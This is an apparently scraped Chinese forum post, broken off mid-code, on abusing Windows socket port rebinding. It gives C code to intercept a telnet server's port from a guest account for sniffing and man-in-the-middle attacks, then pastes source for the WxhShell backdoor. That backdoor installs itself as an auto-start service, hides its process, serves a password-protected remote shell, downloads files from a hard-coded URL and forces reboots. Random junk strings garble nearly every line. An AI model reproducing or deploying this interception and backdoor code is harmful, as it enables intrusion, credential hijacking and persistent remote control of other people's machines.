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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2E;UHR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aF]4%E  
{f<2VeJ  
  saddr.sin_family = AF_INET; Fe{lM' 8  
Me_.X_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OXT 5 y)   
Hj2E-RwG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s<h]2W  
:I[nA?d[&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 criOJ-  
:bNqK0[rS  
  这意味着什么?意味着可以进行如下的攻击: <y7nGXzLK  
7vF+Di(B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Rm>AU=  
ViKN|W >T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M&wf4)*%0+  
*QH@c3vUe\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o/t^rY y  
 _xjw:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xU6)~ae`JW  
DQui7dr)l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =C gcRxng  
wxS.!9K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >cpT_M&C,  
z.P<)[LUc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IT!u4iH[  
+" |?P  
  #include {(Jbgsxm  
  #include #Ie/|  
  #include !Z]#1"A8  
  #include    lkl+o&D9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NGIt~"e7R4  
  int main() `n)e] dn  
  { d< j+a1&  
  WORD wVersionRequested; Gl; xd  
  DWORD ret; =r:(ga  
  WSADATA wsaData; HQGn[7JW  
  BOOL val; A6eIf  
  SOCKADDR_IN saddr; O*jTrZ(k  
  SOCKADDR_IN scaddr; R2,Z`I  
  int err; wIeF(}VM  
  SOCKET s; a=@]Ov/  
  SOCKET sc; x *:v]6y  
  int caddsize; ]L)l5@5^  
  HANDLE mt; wo>7^ZA  
  DWORD tid;   ,58XLu  
  wVersionRequested = MAKEWORD( 2, 2 ); `X)y5*##wq  
  err = WSAStartup( wVersionRequested, &wsaData ); Lp31Y . 4  
  if ( err != 0 ) { )seeBm-`  
  printf("error!WSAStartup failed!\n"); .=G ?Zd  
  return -1; "}*5'e.*  
  } _?~EWT   
  saddr.sin_family = AF_INET; F)K&a  
   #w]UP#^io  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y Ny,$1  
kZ5;Fe\*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S,0h &A9  
  saddr.sin_port = htons(23); V) xwlvX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U-+o6XX  
  { W=G8l%  
  printf("error!socket failed!\n"); %/;*Ewwb  
  return -1; +6~ut^YiM.  
  } =Vie0TV&h  
  val = TRUE; \0 j-p   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2 Sgv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Oz{FM6  
  {  /dI8o  
  printf("error!setsockopt failed!\n"); qzk!'J3*r<  
  return -1; "~2SHM@q  
  } s$g3__|Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p`qy57  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a=_:`S]}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CWdpF>En  
w 3kX!%a:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v]h^0WU  
  { +khVi}  
  ret=GetLastError(); n?(sn  
  printf("error!bind failed!\n"); h[ cqa  
  return -1; z&wJ"[nOC  
  } &TT vX% T  
  listen(s,2); L$t.$[~L  
  while(1) /Z| K9a  
  { ^vw[z2"  
  caddsize = sizeof(scaddr); M!R=&a=Z  
  //接受连接请求 -y|*x-iZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P(xgIMc H  
  if(sc!=INVALID_SOCKET) Se}&2 R  
  { nPW=m`jG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zFi)R }Ot  
  if(mt==NULL) W\EvMV"  
  { 4|/}~9/  
  printf("Thread Creat Failed!\n"); y0]"qB  
  break; \ gO!6  
  } ZHM NG~!  
  } Xk] uXx:TN  
  CloseHandle(mt); Xl,707  
  } Nr"gj$v  
  closesocket(s); A$3ll|%j  
  WSACleanup(); tP1znJh>y  
  return 0; }IRD!  
  }   l@:&0id4I  
  DWORD WINAPI ClientThread(LPVOID lpParam) j4wsDtmAU  
  { " M3S  
  SOCKET ss = (SOCKET)lpParam; A'aYH`j  
  SOCKET sc; M{t/B-'4  
  unsigned char buf[4096]; =d BK,/  
  SOCKADDR_IN saddr;  CH$K_\  
  long num; <:>[24LJ{  
  DWORD val; "_0sW3rG  
  DWORD ret; NT=)</v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z&|Dp*Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eGW h]%  
  saddr.sin_family = AF_INET; 3Yf~5csY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OUhlQq\  
  saddr.sin_port = htons(23); tISb' ^T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nd He::  
  { 5SEGV|%  
  printf("error!socket failed!\n"); LEg ?/!LIT  
  return -1; 1* ?XI  
  } ~^/BAc  
  val = 100; ;TKsAU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2WS Wfh  
  { X`C ozyYuD  
  ret = GetLastError(); ;w;+<Rd  
  return -1; $}EI3a  
  } V]Kk =  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0DaKd<Scv  
  { I6i qC"BK  
  ret = GetLastError(); jZk dTiI  
  return -1; ?aQVaw&L!7  
  } rRX F@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YF(bl1>YC  
  { 8dh ?JqX  
  printf("error!socket connect failed!\n"); &,QBJx<#  
  closesocket(sc); gm$<U9L\v  
  closesocket(ss); Y,m=&U  
  return -1; m~tv{#Y  
  } 79uAsI2-Y  
  while(1) 8iPA^b|sz{  
  { <9[>+X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bo#?,80L}`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TU1W!=Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 734H{,~  
  num = recv(ss,buf,4096,0); ikb;,Js  
  if(num>0) p#N2K{E  
  send(sc,buf,num,0); ~ Ofn&[G  
  else if(num==0) IN@ =UAc&  
  break; \;Sl5*kr  
  num = recv(sc,buf,4096,0); ] u\-_PP  
  if(num>0) K_Kz8qV.?  
  send(ss,buf,num,0); &x3R+(H {  
  else if(num==0) 1QbD]"=n  
  break; })?KpYk  
  } S" PJ@E}^E  
  closesocket(ss); q3D,hG_  
  closesocket(sc); <Q8d{--o  
  return 0 ; #iT3 aou  
  } }}LjEOvL=  
&r!jjT  
] V,#>'  
========================================================== +FC+nE}O  
82YZN5S3]3  
下边附上一个代码,,WXhSHELL z J V>;  
' Uo|@tK  
========================================================== ,IPryI   
^@$T>SB1  
#include "stdafx.h" hdpA& OteR  
JD ~]aoH  
#include <stdio.h> loD:4e1  
#include <string.h> in>?kbaG+  
#include <windows.h> xgIb4Y%  
#include <winsock2.h> >Ft:&N9L{  
#include <winsvc.h> ,[u.5vC  
#include <urlmon.h> [ z{ }?  
Z#@<|{eI  
#pragma comment (lib, "Ws2_32.lib") rs@qC>_C0  
#pragma comment (lib, "urlmon.lib") `L"l{^cH  
KS;Wr6]@(O  
#define MAX_USER   100 // 最大客户端连接数 Vah.tOU  
#define BUF_SOCK   200 // sock buffer \O\veB8  
#define KEY_BUFF   255 // 输入 buffer K>Tv M&  
|Gt]V`4  
#define REBOOT     0   // 重启 m$bNQ7  
#define SHUTDOWN   1   // 关机 t7/a5x  
cK t8e^P  
#define DEF_PORT   5000 // 监听端口 4K!@9+Mz  
cC$E"m  
#define REG_LEN     16   // 注册表键长度 `3vt.b  
#define SVC_LEN     80   // NT服务名长度 b@[\+P] "  
/&RS+By(i  
// 从dll定义API 9]|G-cyt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tl*FK?)MC^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;CA7\&L>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nn/_>%Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <a=k"'0  
%loe8yt  
// wxhshell配置信息 \)BDl  
struct WSCFG { !qJ|`o Y  
  int ws_port;         // 监听端口 yV5AVM o  
  char ws_passstr[REG_LEN]; // 口令 0GnbE2&  
  int ws_autoins;       // 安装标记, 1=yes 0=no BoXGoFn  
  char ws_regname[REG_LEN]; // 注册表键名 Jek)`D  
  char ws_svcname[REG_LEN]; // 服务名 @W!cC#u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D?P1\<A~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )%9 P ;/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $c24lJ#/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3qq 6X?y*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d<v)ovQJ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oBzjEv  
d+g+ {p>?  
}; _"sFLe{  
!,N),xG}~  
// default Wxhshell configuration S.NLxb/  
struct WSCFG wscfg={DEF_PORT, `L {dF  
    "xuhuanlingzhe", G 4 C 7  
    1, |I=\+P}s  
    "Wxhshell", +FYhDB~m  
    "Wxhshell", QfsTUAfR  
            "WxhShell Service", e[J0+ x#;r  
    "Wrsky Windows CmdShell Service", 8}Su7v1  
    "Please Input Your Password: ", }P"JP[#E\  
  1, df!n.&\y!  
  "http://www.wrsky.com/wxhshell.exe", X" ;ly0Mb  
  "Wxhshell.exe" 44_CT?t<  
    }; .p(~/MnO  
=j!Ruy1  
// 消息定义模块 .{LJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LxxFosi8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Fd@:*ER  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ov9kD0S  
char *msg_ws_ext="\n\rExit."; Zk n1@a  
char *msg_ws_end="\n\rQuit."; >-YWq  
char *msg_ws_boot="\n\rReboot..."; ,a?$F1Z-  
char *msg_ws_poff="\n\rShutdown..."; "e~"-B7(\Y  
char *msg_ws_down="\n\rSave to "; ZYD3[" ~x  
OcGHMGdn  
char *msg_ws_err="\n\rErr!"; w1P8p>vA1  
char *msg_ws_ok="\n\rOK!"; U/bQ(,3}  
_sp/RU,J-3  
char ExeFile[MAX_PATH]; s1NRUV2E  
int nUser = 0; :1\QM'O  
HANDLE handles[MAX_USER]; R?$ Nl  
int OsIsNt; 4).>b3OhX  
~F9WR5}]  
SERVICE_STATUS       serviceStatus; x'wT%/hp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3ws}E6\D  
J2adA9R/,  
// 函数声明 6s|4'!  
int Install(void); tL~?)2uEN  
int Uninstall(void); hh>mX6A  
int DownloadFile(char *sURL, SOCKET wsh); ckPI^0A!  
int Boot(int flag);  *$o{+YP  
void HideProc(void); xYCX}bksh  
int GetOsVer(void); M/mUY  
int Wxhshell(SOCKET wsl); P(&9S`I  
void TalkWithClient(void *cs); @q]{s+#Xf  
int CmdShell(SOCKET sock); T'nQj<dBt:  
int StartFromService(void); naoH685R4  
int StartWxhshell(LPSTR lpCmdLine); y!?l;xMS  
DEkFmmw   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1V37% D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V_"K  
?H_'L4Wv  
// 数据结构和表定义 _P*<T6\J>  
SERVICE_TABLE_ENTRY DispatchTable[] =  R)?zL;,x  
{ uM<6][^`  
{wscfg.ws_svcname, NTServiceMain}, #D&]5"0cX  
{NULL, NULL} D#n^U `\if  
}; )pA N_e"  
yPqZ ,  
// 自我安装 9@."Y>1G  
int Install(void) +aWI"d--h  
{ 4_w+NI,;  
  char svExeFile[MAX_PATH]; &18CCp\3)c  
  HKEY key; __,1;=  
  strcpy(svExeFile,ExeFile); :D'#CoBA  
+ B#3!  
// 如果是win9x系统,修改注册表设为自启动 Q}MS $[y  
if(!OsIsNt) { Ll !J!{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F! ;0eS"xp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A+lP]Oy0S  
  RegCloseKey(key); 9ZEF%&58Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { //}[(9b'\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /U#{6zeM[,  
  RegCloseKey(key); JS<4%@  
  return 0; -S7rOq2Li  
    } V_g9oR_  
  } 9\]%N;;Lo  
} -  zQ  
else { . 787+J?  
AZCbUkq  
// 如果是NT以上系统,安装为系统服务 @]H:=Q'gj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \e/'d~F  
if (schSCManager!=0) 9j[%Y?  
{ /v1Rn*VF!  
  SC_HANDLE schService = CreateService D$RQD{*  
  ( 9 1r"-%(r  
  schSCManager, idf~"a  
  wscfg.ws_svcname, #Pz},!7  
  wscfg.ws_svcdisp, !v2D 18(  
  SERVICE_ALL_ACCESS, pA*cF!tq 7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /f9jLY +  
  SERVICE_AUTO_START, ~ YKBxt  
  SERVICE_ERROR_NORMAL, >~5>)yN_a1  
  svExeFile, 6uYCU|JsU  
  NULL, z Lw=*  
  NULL, /?jAG3"  
  NULL, tndtwM*B'  
  NULL, T/" 6iv\1  
  NULL XTHy CK  
  ); 9LkP*$2"M<  
  if (schService!=0) 1|VnPQqA  
  { Cr,UP8MO  
  CloseServiceHandle(schService); )hHkaI>eYv  
  CloseServiceHandle(schSCManager); "mnWqRpX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F(8>"(C  
  strcat(svExeFile,wscfg.ws_svcname); dE+xU(\, w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qF{u+Ms  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8}0W_CU,  
  RegCloseKey(key); l("Dw8 H  
  return 0; )j40hrR  
    } 7mSVL\\^  
  } E lt=/,v`!  
  CloseServiceHandle(schSCManager); JBCcR,\kM*  
} ~h] <E  
} RpE69:~PV  
d FF[2  
return 1; Nkt(1?:-'  
} &Z_W*D  
W^W^5-'"D,  
// 自我卸载 +'H_sMmi{  
int Uninstall(void) qJj;3{X2  
{ [e )j,Q1  
  HKEY key; Zi=Nr3b  
Y?2I /  
if(!OsIsNt) { Ctxs]S tU%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;f7(d\=y  
  RegDeleteValue(key,wscfg.ws_regname); #5kQn>R  
  RegCloseKey(key); |2\6X's  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ds:LQq)/  
  RegDeleteValue(key,wscfg.ws_regname); *]fBd<(8  
  RegCloseKey(key); d*=P8QwL|  
  return 0; /lSz8h2  
  } bIP{DxKS  
} VpJ/M(UD-  
} ln7{c #lE  
else { (xJ6 : u  
aD,sx#g0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Efb>ZQ  
if (schSCManager!=0) bE2^sx`(  
{ k~u$&a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @eN x:}  
  if (schService!=0) )eNR4nF  
  { maLKUSgo  
  if(DeleteService(schService)!=0) { e%&2tf4  
  CloseServiceHandle(schService); }u&.n pc  
  CloseServiceHandle(schSCManager); ewqfs/  
  return 0; iK6L\'k  
  } d_*'5Eia6  
  CloseServiceHandle(schService); N.C<Mo  
  } zR/d:P?  
  CloseServiceHandle(schSCManager); >C~-*M9  
} iIq='xwa9  
} mHo}, |  
^ad p<?q4  
return 1; g]R }w@nJ  
} M-u:8dPu  
o+SD(KVn-  
// 从指定url下载文件 +qe!KPk2  
int DownloadFile(char *sURL, SOCKET wsh) sTO*  
{ E)m{m$Hb  
  HRESULT hr; {[PoLOCI  
char seps[]= "/"; D0tmNV@  
char *token; *z`_U]tP  
char *file; h8oG5|Y  
char myURL[MAX_PATH]; >&tPIrz  
char myFILE[MAX_PATH]; &'4id[$9  
5Ya TE<G  
strcpy(myURL,sURL); OWFLw  
  token=strtok(myURL,seps); pq7G[  
  while(token!=NULL) q4<3 O"c1  
  { "W;Gv I  
    file=token; C)`k{(-{  
  token=strtok(NULL,seps); n4+l, ~  
  } 0.C y4sH'  
]'=]=o~4  
GetCurrentDirectory(MAX_PATH,myFILE); u~\u8X3  
strcat(myFILE, "\\"); ^#2w::Ds}!  
strcat(myFILE, file); ppjd.  
  send(wsh,myFILE,strlen(myFILE),0); jpZ, $  
send(wsh,"...",3,0); ["4h%{.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3(G}IWPq<  
  if(hr==S_OK) Y"~I(,nx!  
return 0; )y(pd  
else W F<`CQg[  
return 1; 40N8?kQ}?  
5BCXI8Ox9x  
} hex:e2x  
yf+M  
// 系统电源模块 .`& ($W  
int Boot(int flag) V*rAZ0  
{ 1u7Kc'.xc  
  HANDLE hToken; tgH@|Kg  
  TOKEN_PRIVILEGES tkp; y^tuybpZY<  
Qx|m{1~-  
  if(OsIsNt) { <Yu}7klJE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); twU^ewO&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ";yCo0*  
    tkp.PrivilegeCount = 1; Vm6G5QwM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H#x=eDU|k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \Q<c Y<  
if(flag==REBOOT) { a:Js i=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oCdWf63D  
  return 0; b;#3X)  
} wl #Bv,xf  
else { 5 G cdz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e5_a.c  
  return 0; R)d1]k8  
} ,j^ /~  
  } "S.5_@?  
  else { | ?3\xw  
if(flag==REBOOT) { Mfe/(tlI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ehu^_HZ  
  return 0; fOCLN$x^  
} hIu;\dfwk  
else { N|5J-fR&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H=[eO  
  return 0; #z_lBg. K  
} >&3M #s(w  
} T1jAY^^I  
#L5H-6nz  
return 1; R!b<Sg  
} 6gV-u~j[#  
Cqy84!Z<  
// win9x进程隐藏模块 ms8de>A|H  
void HideProc(void) C-lv=FJEk/  
{ ;75K:_  
o<bZ.t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /"?yB$s  
  if ( hKernel != NULL ) E}Q'Wz|k  
  { m(SGE,("w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ol7%$:S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TZ{';oU  
    FreeLibrary(hKernel); G#-t&gO3  
  } }Tf~)x  
A@xa$!4}  
return; G vMhgG=D  
} F7lhLly  
SYd4 3P A  
// 获取操作系统版本 "s[wLclfG  
int GetOsVer(void) 8)HUo?/3  
{ UZ7Zzc#g  
  OSVERSIONINFO winfo; gKoB)n<[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O4J <u-E$  
  GetVersionEx(&winfo); [E<NEl *  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =V~p QbZ  
  return 1; 6U5L>sQ  
  else RhR{EO  
  return 0; VA + ?xk  
} V:HxRMF2X  
@ -CZa^g  
// 客户端句柄模块 |N, KA|Gdq  
int Wxhshell(SOCKET wsl) o0nd]"q?  
{ wm~35cF(  
  SOCKET wsh; TG 9 a1q  
  struct sockaddr_in client; 4\ R2\  
  DWORD myID; -l)vl<}  
[Ak L6  
  while(nUser<MAX_USER) !m8MyZ}%  
{ Vc0C@*fVM  
  int nSize=sizeof(client); lWr=79  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l#u$w&  
  if(wsh==INVALID_SOCKET) return 1; xa#;<8 iV  
EYWRTh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y,'M3GGl  
if(handles[nUser]==0) `L# pN5  
  closesocket(wsh); KBJ%$OQV  
else ScOiOz:Ha  
  nUser++; v,bCj6  
  } K",YAfJa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &iR3]FNI  
:}(Aq;}X  
  return 0; dC+WII`V  
} 8h"Val|qP  
U4;r.#qw,  
// 关闭 socket &z kuL  
void CloseIt(SOCKET wsh) %gUf  
{ HZ%2WM  
closesocket(wsh); MiHa'90{K  
nUser--; %L(;}sJ.  
ExitThread(0); SR)jJ=R3  
} mQ(6ahD U  
S&(MR%".  
// 客户端请求句柄 $>^DkrOd  
void TalkWithClient(void *cs) %S*<2F9  
{ #o`y<1rN  
C:z+8wt  
  SOCKET wsh=(SOCKET)cs; LB9D6,*t  
  char pwd[SVC_LEN]; khFr%u ?S  
  char cmd[KEY_BUFF]; IBfLb(I  
char chr[1]; y2Eq-Ie  
int i,j; 96G8B62  
n}0n!Pr^  
  while (nUser < MAX_USER) { \tR](, /  
V+`gkWe/  
if(wscfg.ws_passstr) { y,&'nk}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HK}br!?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2S%[YR>>  
  //ZeroMemory(pwd,KEY_BUFF); |q| ?y`X4/  
      i=0; <46> v<  
  while(i<SVC_LEN) { GZ=7)eJ~<  
mQL8ec_c  
  // 设置超时 U)CGRh8%+  
  fd_set FdRead; U'4j+vUc  
  struct timeval TimeOut; l-^2>K[  
  FD_ZERO(&FdRead); @nWhUH%  
  FD_SET(wsh,&FdRead); jGm`Qg{<  
  TimeOut.tv_sec=8; ky4 ;7RK  
  TimeOut.tv_usec=0; `G/%U~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q|7i6jq\*R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zEM  c)  
{L6@d1u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b0VEMu81k  
  pwd=chr[0]; Q[PVkZ  
  if(chr[0]==0xd || chr[0]==0xa) { D;?cf+6$  
  pwd=0; 0FN;^hP5|  
  break; tL#~U2K  
  } _\"2Mdk`]  
  i++; FZFYwU\~.L  
    } QK~44;LVIJ  
FS'|e?WU  
  // 如果是非法用户,关闭 socket 8-#_xsZ^;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ov3FKMG?  
} PI G3kJ  
"rl(%~Op  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "aL.`^.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x."R_>  
{beu  
while(1) { D;1?IeS  
90"&KDh  
  ZeroMemory(cmd,KEY_BUFF); |.#G G7F^S  
nj1TX  
      // 自动支持客户端 telnet标准   I8x,8}o>V  
  j=0; w]@H]>sHd  
  while(j<KEY_BUFF) { jm ORKX+)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?T1vc  
  cmd[j]=chr[0]; q g2 fTe  
  if(chr[0]==0xa || chr[0]==0xd) { og[cwa_  
  cmd[j]=0; % _.kd"  
  break; 1j_gQ,'20  
  } o}4~CN9}  
  j++; *VX"_C0Jy=  
    } \=1$$EDS9  
?8U#,qq#`  
  // 下载文件 s7d4)A%  
  if(strstr(cmd,"http://")) { B3^F $6=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T0;8koj^_  
  if(DownloadFile(cmd,wsh)) %~e+H|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q6 oM$qiM  
  else 0-P,zkK_v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  g)Tr#  
  } !{1;wC(b  
  else { olv0w ;s  
@k-C>h()C  
    switch(cmd[0]) { 2RbK##`vC  
  WrHY'  
  // 帮助 L*6R5i>  
  case '?': { WEaG/)y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1fH2obI~X  
    break; Xi~7pH  
  } ?W 6 :$  
  // 安装 Qx")D?u  
  case 'i': { 79*f <Gr  
    if(Install()) )FdS;]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .vnQZ*6  
    else { 1eW*9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P#!^9)3  
    break; |NdWx1  
    } $ucDz f=o  
  // 卸载 PyoIhe&ep  
  case 'r': { H/2dVUU  
    if(Uninstall()) | LX Vf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]?7q%7-e.a  
    else h/oC9?v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <GWzdj?  
    break; n \i ~H  
    } pi|=3W  
  // 显示 wxhshell 所在路径 ^`S.Mw.  
  case 'p': { f6,?Yex8B  
    char svExeFile[MAX_PATH]; }`pxs  
    strcpy(svExeFile,"\n\r"); oh0*bh  
      strcat(svExeFile,ExeFile); -Hh.8(!XoO  
        send(wsh,svExeFile,strlen(svExeFile),0); gy`WBg(7x  
    break; GY t|[GC  
    } )61X,z  
  // 重启 / q| o  
  case 'b': { *B)J(^M!q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8B`w!@hf  
    if(Boot(REBOOT)) Fhrj$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &J\<"3  
    else { FeT| Fh:L  
    closesocket(wsh); M <nH  
    ExitThread(0); `m`Y3I  
    } %M*2j%6  
    break; R=J5L36F  
    } bo-L|R&O  
  // 关机 r3NdE~OAi  
  case 'd': { K=Z.<f  
